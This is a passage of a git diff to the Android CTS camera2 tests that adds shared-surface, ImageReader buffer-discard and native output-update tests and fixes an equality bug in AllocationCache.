+ android:id="@+id/texture_view_3"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+ <TextureView
+ android:id="@+id/texture_view_4"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+ <TextureView
+ android:id="@+id/texture_view_5"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
<SurfaceView
android:id="@+id/surface_view_1"
android:layout_width="160dp"
diff --git a/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java b/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
index d6350fc..1f4265d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
+++ b/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
@@ -27,7 +27,8 @@
public class Camera2MultiViewCtsActivity extends Activity {
private final static String TAG = "Camera2MultiViewCtsActivity";
- private TextureView[] mTextureView = new TextureView[2];
+ public final static int MAX_TEXTURE_VIEWS = 5;
+ private TextureView[] mTextureView = new TextureView[MAX_TEXTURE_VIEWS];
private SurfaceView[] mSurfaceView = new SurfaceView[2];
@Override
@@ -36,6 +37,9 @@
setContentView(R.layout.multi_view);
mTextureView[0] = (TextureView) findViewById(R.id.texture_view_1);
mTextureView[1] = (TextureView) findViewById(R.id.texture_view_2);
+ mTextureView[2] = (TextureView) findViewById(R.id.texture_view_3);
+ mTextureView[3] = (TextureView) findViewById(R.id.texture_view_4);
+ mTextureView[4] = (TextureView) findViewById(R.id.texture_view_5);
mSurfaceView[0] = (SurfaceView) findViewById(R.id.surface_view_1);
mSurfaceView[1] = (SurfaceView) findViewById(R.id.surface_view_2);
@@ -44,8 +48,9 @@
}
public TextureView getTextureView(int index) {
- if (index < 0 || index > 1) {
- throw new IllegalArgumentException("Texture view index must be 0 or 1");
+ if (index < 0 || index > (MAX_TEXTURE_VIEWS - 1)) {
+ throw new IllegalArgumentException("Texture view index must be between 0 and " +
+ MAX_TEXTURE_VIEWS);
}
return mTextureView[index];
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index bd01d21..96f363c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -553,6 +553,21 @@
}
/**
+ * Test that images captured after discarding free buffers are valid.
+ */
+ public void testDiscardFreeBuffers() throws Exception {
+ for (String id : mCameraIds) {
+ try {
+ Log.v(TAG, "Testing jpeg capture for Camera " + id);
+ openDevice(id);
+ discardFreeBuffersTestByCamera();
+ } finally {
+ closeDevice(id);
+ }
+ }
+ }
+
+ /**
* Convert a rectangular patch in a YUV image to an ARGB color array.
*
* @param w width of the patch.
@@ -762,6 +777,38 @@
imageInvalidAccessTestAfterClose(img, firstPlane, buffer);
}
+ /**
+ * Test that images captured after discarding free buffers are valid.
+ */
+ private void discardFreeBuffersTestByCamera() throws Exception {
+ final int FORMAT = mStaticInfo.isColorOutputSupported() ?
+ ImageFormat.YUV_420_888 : ImageFormat.DEPTH16;
+
+ final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
+ StaticMetadata.StreamDirection.Output)[0];
+ Image img = null;
+ // Create ImageReader.
+ mListener = new SimpleImageListener();
+ createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
+
+ // Start capture.
+ final boolean REPEATING = true;
+ CaptureRequest request = prepareCaptureRequest();
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+ startCapture(request, REPEATING, listener, mHandler);
+
+ // Validate images and capture results.
+ validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+ validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+ // Discard free buffers.
+ mReader.discardFreeBuffers();
+
+ // Validate images and capture resulst again.
+ validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+ validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+ }
+
private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 265729d..e9eac65 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -21,13 +21,19 @@
import android.graphics.ImageFormat;
import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureFailure;
+import android.hardware.camera2.TotalCaptureResult;
import android.hardware.camera2.cts.CameraTestUtils.ImageVerifierListener;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase;
import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase.CameraPreviewListener;
import android.hardware.camera2.params.OutputConfiguration;
+import android.media.Image;
import android.media.ImageReader;
import android.os.SystemClock;
+import android.os.ConditionVariable;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -44,8 +50,10 @@
*/
public class MultiViewTest extends Camera2MultiViewTestCase {
private static final String TAG = "MultiViewTest";
- private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 2000;
+ private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
private final static long PREVIEW_TIME_MS = 2000;
+ private final static int NUM_SURFACE_SWITCHES = 10;
+ private final static int IMG_READER_COUNT = 2;
public void testTextureViewPreview() throws Exception {
for (String cameraId : mCameraIds) {
@@ -235,6 +243,473 @@
}
/*
+ * Verify dynamic shared surface behavior.
+ */
+ public void testSharedSurfaceBasic() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceBasicByCamera(cameraId);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceBasicByCamera(String cameraId) throws Exception {
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+ SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+ Surface[] surfaces = new Surface[2];
+ OutputConfiguration[] outputConfigs = new OutputConfiguration[2];
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+
+ // Create surface textures with the same size
+ for (int i = 0; i < 2; i++) {
+ previewListener[i] = new CameraPreviewListener();
+ mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+ previewTexture[i] = getAvailableSurfaceTexture(
+ WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+ assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+ previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ // Correct the preview display rotation.
+ updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+ surfaces[i] = new Surface(previewTexture[i]);
+ outputConfigs[i] = new OutputConfiguration(surfaces[i]);
+ outputConfigs[i].enableSurfaceSharing();
+ outputConfigurations.add(outputConfigs[i]);
+ }
+
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone =
+ previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+
+ //try to dynamically add and remove any of the initial configured outputs
+ try {
+ outputConfigs[1].addSurface(surfaces[0]);
+ updateOutputConfiguration(cameraId, outputConfigs[1]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ outputConfigs[1].removeSurface(surfaces[0]);
+ }
+
+ try {
+ outputConfigs[1].removeSurface(surfaces[1]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ try {
+ outputConfigs[0].addSurface(surfaces[1]);
+ updateOutputConfiguration(cameraId, outputConfigs[0]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ outputConfigs[0].removeSurface(surfaces[1]);
+ }
+
+ try {
+ outputConfigs[0].removeSurface(surfaces[0]);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ //Check that we are able to add a shared texture surface with different size
+ List<Size> orderedPreviewSizes = getOrderedPreviewSizes(cameraId);
+ Size textureSize = previewSize;
+ for (Size s : orderedPreviewSizes) {
+ if (!s.equals(previewSize)) {
+ textureSize = s;
+ break;
+ }
+ }
+ if (textureSize.equals(previewSize)) {
+ return;
+ }
+ SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID*/ 5);
+ outputTexture.setDefaultBufferSize(textureSize.getWidth(), textureSize.getHeight());
+ Surface outputSurface = new Surface(outputTexture);
+ //Add a valid output surface and then verify that it cannot be added any more
+ outputConfigs[1].addSurface(outputSurface);
+ updateOutputConfiguration(cameraId, outputConfigs[1]);
+ try {
+ outputConfigs[1].addSurface(outputSurface);
+ fail("should get IllegalStateException due to duplicate output");
+ } catch (IllegalStateException e) {
+ // expected exception
+ }
+
+ outputConfigs[0].addSurface(outputSurface);
+ try {
+ updateOutputConfiguration(cameraId, outputConfigs[0]);
+ fail("should get IllegalArgumentException due to duplicate output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ outputConfigs[0].removeSurface(outputSurface);
+ }
+
+ //Verify that the same surface cannot be removed twice
+ outputConfigs[1].removeSurface(outputSurface);
+ updateOutputConfiguration(cameraId, outputConfigs[1]);
+ try {
+ outputConfigs[0].removeSurface(outputSurface);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+ try {
+ outputConfigs[1].removeSurface(outputSurface);
+ fail("should get IllegalArgumentException due to invalid output");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ stopPreview(cameraId);
+ }
+
+ /*
+ * Verify dynamic shared surface behavior using multiple ImageReaders.
+ */
+ public void testSharedSurfaceImageReaderSwitch() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceImageReaderSwitch(String cameraId, int switchCount)
+ throws Exception {
+ if (OutputConfiguration.getMaxSharedSurfaceCount() < (IMG_READER_COUNT + 1)) {
+ return;
+ }
+
+ SimpleImageListener imageListeners[] = new SimpleImageListener[IMG_READER_COUNT];
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+ ImageReader imageReaders[] = new ImageReader[IMG_READER_COUNT];
+ Surface readerSurfaces[] = new Surface[IMG_READER_COUNT];
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener previewListener = new CameraPreviewListener();
+ mTextureView[0].setSurfaceTextureListener(previewListener);
+ SurfaceTexture previewTexture = getAvailableSurfaceTexture(WAIT_FOR_COMMAND_TO_COMPLETE,
+ mTextureView[0]);
+ assertNotNull("Unable to get preview surface texture", previewTexture);
+ previewTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ updatePreviewDisplayRotation(previewSize, mTextureView[0]);
+ Surface previewSurface = new Surface(previewTexture);
+ OutputConfiguration outputConfig = new OutputConfiguration(previewSurface);
+ outputConfig.enableSurfaceSharing();
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+ outputConfigurations.add(outputConfig);
+
+ //Start regular preview streaming
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone = previewListener.waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+
+ //Test shared image reader outputs
+ for (int i = 0; i < IMG_READER_COUNT; i++) {
+ imageListeners[i] = new SimpleImageListener();
+ imageReaders[i] = ImageReader.newInstance(previewSize.getWidth(),
+ previewSize.getHeight(), ImageFormat.PRIVATE, 2);
+ imageReaders[i].setOnImageAvailableListener(imageListeners[i], mHandler);
+ readerSurfaces[i] = imageReaders[i].getSurface();
+ }
+
+ for (int j = 0; j < switchCount; j++) {
+ for (int i = 0; i < IMG_READER_COUNT; i++) {
+ outputConfig.addSurface(readerSurfaces[i]);
+ updateOutputConfiguration(cameraId, outputConfig);
+ CaptureRequest.Builder imageReaderRequestBuilder = getCaptureBuilder(cameraId,
+ CameraDevice.TEMPLATE_PREVIEW);
+ imageReaderRequestBuilder.addTarget(readerSurfaces[i]);
+ capture(cameraId, imageReaderRequestBuilder.build(), resultListener);
+ imageListeners[i].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+ Image img = imageReaders[i].acquireLatestImage();
+ assertNotNull("Invalid image acquired!", img);
+ img.close();
+ outputConfig.removeSurface(readerSurfaces[i]);
+ updateOutputConfiguration(cameraId, outputConfig);
+ }
+ }
+
+ for (int i = 0; i < IMG_READER_COUNT; i++) {
+ imageReaders[i].close();
+ }
+
+ stopPreview(cameraId);
+ }
+
+ /*
+ * Test the dynamic shared surface limit.
+ */
+ public void testSharedSurfaceLimit() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceLimitByCamera(cameraId,
+ Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceLimitByCamera(String cameraId, int surfaceLimit)
+ throws Exception {
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener[] previewListener = new CameraPreviewListener[surfaceLimit];
+ SurfaceTexture[] previewTexture = new SurfaceTexture[surfaceLimit];
+ Surface[] surfaces = new Surface[surfaceLimit];
+ int sequenceId = -1;
+
+ if ((surfaceLimit <= 1) ||
+ (surfaceLimit < OutputConfiguration.getMaxSharedSurfaceCount())) {
+ return;
+ }
+
+ // Create surface textures with the same size
+ for (int i = 0; i < surfaceLimit; i++) {
+ previewListener[i] = new CameraPreviewListener();
+ mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+ previewTexture[i] = getAvailableSurfaceTexture(
+ WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+ assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+ previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ // Correct the preview display rotation.
+ updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+ surfaces[i] = new Surface(previewTexture[i]);
+ }
+
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+ // Create shared outputs for the two surface textures
+ OutputConfiguration surfaceSharedOutput = new OutputConfiguration(surfaces[0]);
+ surfaceSharedOutput.enableSurfaceSharing();
+
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+ outputConfigurations.add(surfaceSharedOutput);
+
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone =
+ previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+ mTextureView[0].setSurfaceTextureListener(null);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ int i = 1;
+ for (; i < surfaceLimit; i++) {
+ //Add one more output surface while preview is streaming
+ if (i >= OutputConfiguration.getMaxSharedSurfaceCount()){
+ try {
+ surfaceSharedOutput.addSurface(surfaces[i]);
+ fail("should get IllegalArgumentException due to output surface limit");
+ } catch (IllegalArgumentException e) {
+ //expected
+ break;
+ }
+ } else {
+ surfaceSharedOutput.addSurface(surfaces[i]);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+ }
+ }
+
+ for (; i > 0; i--) {
+ if (i >= OutputConfiguration.getMaxSharedSurfaceCount()) {
+ try {
+ surfaceSharedOutput.removeSurface(surfaces[i]);
+ fail("should get IllegalArgumentException due to output surface limit");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+ } else {
+ surfaceSharedOutput.removeSurface(surfaces[i]);
+
+ }
+ }
+ //Remove all previously added shared outputs in one call
+ updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+ long lastSequenceFrameNumber = resultListener.getCaptureSequenceLastFrameNumber(
+ sequenceId, PREVIEW_TIME_MS);
+ checkForLastFrameInSequence(lastSequenceFrameNumber, resultListener);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ stopPreview(cameraId);
+ }
+
+ /*
+ * Test dynamic shared surface switch behavior.
+ */
+ public void testSharedSurfaceSwitch() throws Exception {
+ for (String cameraId : mCameraIds) {
+ try {
+ openCamera(cameraId);
+ if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+ continue;
+ }
+ if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + cameraId +
+ " does not support color outputs, skipping");
+ continue;
+ }
+
+ testSharedSurfaceSwitchByCamera(cameraId, NUM_SURFACE_SWITCHES);
+ }
+ finally {
+ closeCamera(cameraId);
+ }
+ }
+ }
+
+ private void testSharedSurfaceSwitchByCamera(String cameraId, int switchCount)
+ throws Exception {
+ Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+ CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+ SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+ Surface[] surfaces = new Surface[2];
+
+ // Create surface textures with the same size
+ for (int i = 0; i < 2; i++) {
+ previewListener[i] = new CameraPreviewListener();
+ mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+ previewTexture[i] = getAvailableSurfaceTexture(
+ WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+ assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+ previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ // Correct the preview display rotation.
+ updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+ surfaces[i] = new Surface(previewTexture[i]);
+ }
+
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+ // Create shared outputs for the two surface textures
+ OutputConfiguration surfaceSharedOutput = new OutputConfiguration(surfaces[0]);
+ surfaceSharedOutput.enableSurfaceSharing();
+
+ List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+ outputConfigurations.add(surfaceSharedOutput);
+
+ startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+ boolean previewDone =
+ previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+ assertTrue("Unable to start preview", previewDone);
+ mTextureView[0].setSurfaceTextureListener(null);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ for (int i = 0; i < switchCount; i++) {
+ //Add one more output surface while preview is streaming
+ surfaceSharedOutput.addSurface(surfaces[1]);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ int sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+
+ //Try to remove the shared surface while while we still have active requests that
+ //use it as output.
+ surfaceSharedOutput.removeSurface(surfaces[1]);
+ try {
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+ fail("should get IllegalArgumentException due to pending requests");
+ } catch (IllegalArgumentException e) {
+ // expected exception
+ }
+
+ //Wait for all pending requests to arrive and remove the shared output during active
+ //streaming
+ updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+ long lastSequenceFrameNumber = resultListener.getCaptureSequenceLastFrameNumber(
+ sequenceId, PREVIEW_TIME_MS);
+ checkForLastFrameInSequence(lastSequenceFrameNumber, resultListener);
+ updateOutputConfiguration(cameraId, surfaceSharedOutput);
+
+ SystemClock.sleep(PREVIEW_TIME_MS);
+ }
+
+ stopPreview(cameraId);
+ }
+
+ private void checkForLastFrameInSequence(long lastSequenceFrameNumber,
+ SimpleCaptureCallback listener) throws Exception {
+ // Find the last frame number received in results and failures.
+ long lastFrameNumber = -1;
+ while (listener.hasMoreResults()) {
+ TotalCaptureResult result = listener.getTotalCaptureResult(PREVIEW_TIME_MS);
+ if (lastFrameNumber < result.getFrameNumber()) {
+ lastFrameNumber = result.getFrameNumber();
+ }
+ }
+
+ while (listener.hasMoreFailures()) {
+ ArrayList<CaptureFailure> failures = listener.getCaptureFailures(
+ /*maxNumFailures*/ 1);
+ for (CaptureFailure failure : failures) {
+ if (lastFrameNumber < failure.getFrameNumber()) {
+ lastFrameNumber = failure.getFrameNumber();
+ }
+ }
+ }
+
+ // Verify the last frame number received from capture sequence completed matches the
+ // the last frame number of the results and failures.
+ assertEquals(String.format("Last frame number from onCaptureSequenceCompleted " +
+ "(%d) doesn't match the last frame number received from " +
+ "results/failures (%d)", lastSequenceFrameNumber, lastFrameNumber),
+ lastSequenceFrameNumber, lastFrameNumber);
+ }
+
+ /*
* Verify behavior of sharing surfaces within one OutputConfiguration
*/
public void testSharedSurfaces() throws Exception {
@@ -517,7 +992,7 @@
// Run preview with both surfaces, and verify at least one frame is received for each
// surface.
- updateOutputConfigs(cameraId, deferredConfigs, null);
+ finalizeOutputConfigs(cameraId, deferredConfigs, null);
previewDone =
previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
assertTrue("Unable to start preview 1", previewDone);
@@ -547,7 +1022,7 @@
surfaceSharedOutput.addSurface(surfaces[1]);
deferredConfigs.clear();
deferredConfigs.add(surfaceSharedOutput);
- updateOutputConfigs(cameraId, deferredConfigs, null);
+ finalizeOutputConfigs(cameraId, deferredConfigs, null);
previewDone =
previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
assertTrue("Unable to start preview 1", previewDone);
@@ -574,7 +1049,7 @@
surfaceSharedOutput.addSurface(surfaces[1]);
deferredConfigs.clear();
deferredConfigs.add(surfaceSharedOutput);
- updateOutputConfigs(cameraId, deferredConfigs, null);
+ finalizeOutputConfigs(cameraId, deferredConfigs, null);
for (int i = 0; i < 2; i++) {
previewDone =
previewListener[i].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
@@ -584,4 +1059,20 @@
SystemClock.sleep(PREVIEW_TIME_MS);
stopPreview(cameraId);
}
+
+ private final class SimpleImageListener implements ImageReader.OnImageAvailableListener {
+ private final ConditionVariable imageAvailable = new ConditionVariable();
+ @Override
+ public void onImageAvailable(ImageReader reader) {
+ imageAvailable.open();
+ }
+
+ public void waitForAnyImageAvailable(long timeout) {
+ if (imageAvailable.block(timeout)) {
+ imageAvailable.close();
+ } else {
+ fail("wait for image available timed out after " + timeout + "ms");
+ }
+ }
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
index e2a61a6..eed64b9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
@@ -16,6 +16,7 @@
package android.hardware.camera2.cts;
+import android.graphics.SurfaceTexture;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.util.Log;
import android.util.Size;
@@ -59,8 +60,20 @@
testCameraDeviceSimplePreviewNative(mPreviewSurface));
}
+ public void testCameraDeviceSharedOutputUpdate() {
+ // Init preview surface to a guaranteed working size
+ Size previewSize = new Size(640, 480);
+ updatePreviewSurface(previewSize);
+ SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID*/ 5);
+ outputTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+ Surface outputSurface = new Surface(outputTexture);
+ assertTrue("testCameraDeviceSharedWindowAddRemove fail, see log for details",
+ testCameraDeviceSharedOutputUpdate(mPreviewSurface, outputSurface));
+ }
+
private static native boolean testCameraDeviceOpenAndCloseNative();
private static native boolean testCameraDeviceCreateCaptureRequestNative();
private static native boolean testCameraDeviceSessionOpenAndCloseNative(Surface preview);
private static native boolean testCameraDeviceSimplePreviewNative(Surface preview);
+ private static native boolean testCameraDeviceSharedOutputUpdate(Surface src, Surface dst);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java b/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
index b89f9bb..98f1032 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
@@ -223,7 +223,7 @@
if (other instanceof AllocationKey){
AllocationKey otherKey = (AllocationKey) other;
- return otherKey.mType.equals(mType) && otherKey.mUsage == otherKey.mUsage;
+ return otherKey.mType.equals(mType) && otherKey.mUsage == mUsage;
}
return false;
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index a1d63d8..66324da 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -64,10 +64,10 @@
private static final String TAG = "MultiViewTestCase";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-
private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
- protected TextureView[] mTextureView = new TextureView[2];
+ protected TextureView[] mTextureView =
+ new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
protected String[] mCameraIds;
protected Handler mHandler;
@@ -99,8 +99,9 @@
mHandler = new Handler(mHandlerThread.getLooper());
mCameraListener = new BlockingStateCallback();
Camera2MultiViewCtsActivity activity = (Camera2MultiViewCtsActivity) mContext;
- mTextureView[0] = activity.getTextureView(0);
- mTextureView[1] = activity.getTextureView(1);
+ for (int i = 0; i < Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS; i++) {
+ mTextureView[i] = activity.getTextureView(i);
+ }
assertNotNull("Unable to get texture view", mTextureView);
mCameraIdMap = new HashMap<String, Integer>();
int numCameras = mCameraIds.length;
@@ -246,13 +247,13 @@
camera.startPreview(outputSurfaces, listener);
}
- protected void startPreviewWithConfigs(String cameraId,
+ protected int startPreviewWithConfigs(String cameraId,
List<OutputConfiguration> outputConfigs,
CaptureCallback listener)
throws Exception {
CameraHolder camera = getCameraHolder(cameraId);
assertTrue("Camera " + cameraId + " is not openned", camera.isOpened());
- camera.startPreviewWithConfigs(outputConfigs, listener);
+ return camera.startPreviewWithConfigs(outputConfigs, listener);
}
protected void stopPreview(String cameraId) throws Exception {
@@ -261,11 +262,39 @@
camera.stopPreview();
}
- protected void updateOutputConfigs(String cameraId, List<OutputConfiguration> configs,
+ protected void finalizeOutputConfigs(String cameraId, List<OutputConfiguration> configs,
CaptureCallback listener) throws Exception {
CameraHolder camera = getCameraHolder(cameraId);
assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
- camera.updateOutputConfigs(configs, listener);
+ camera.finalizeOutputConfigs(configs, listener);
+ }
+
+ protected int updateRepeatingRequest(String cameraId, List<OutputConfiguration> configs,
+ CaptureCallback listener) throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ return camera.updateRepeatingRequest(configs, listener);
+ }
+
+ protected void updateOutputConfiguration(String cameraId, OutputConfiguration config)
+ throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ camera.updateOutputConfiguration(config);
+ }
+
+ protected void capture(String cameraId, CaptureRequest request, CaptureCallback listener)
+ throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ camera.capture(request, listener);
+ }
+
+ protected CaptureRequest.Builder getCaptureBuilder(String cameraId, int templateId)
+ throws Exception {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ return camera.getCaptureBuilder(templateId);
}
protected StaticMetadata getStaticInfo(String cameraId) {
@@ -426,6 +455,9 @@
throws Exception {
mSessionListener = new BlockingSessionCallback();
mSession = configureCameraSession(mCamera, outputSurfaces, mSessionListener, mHandler);
+ if (outputSurfaces.isEmpty()) {
+ return;
+ }
// TODO: vary the different settings like crop region to cover more cases.
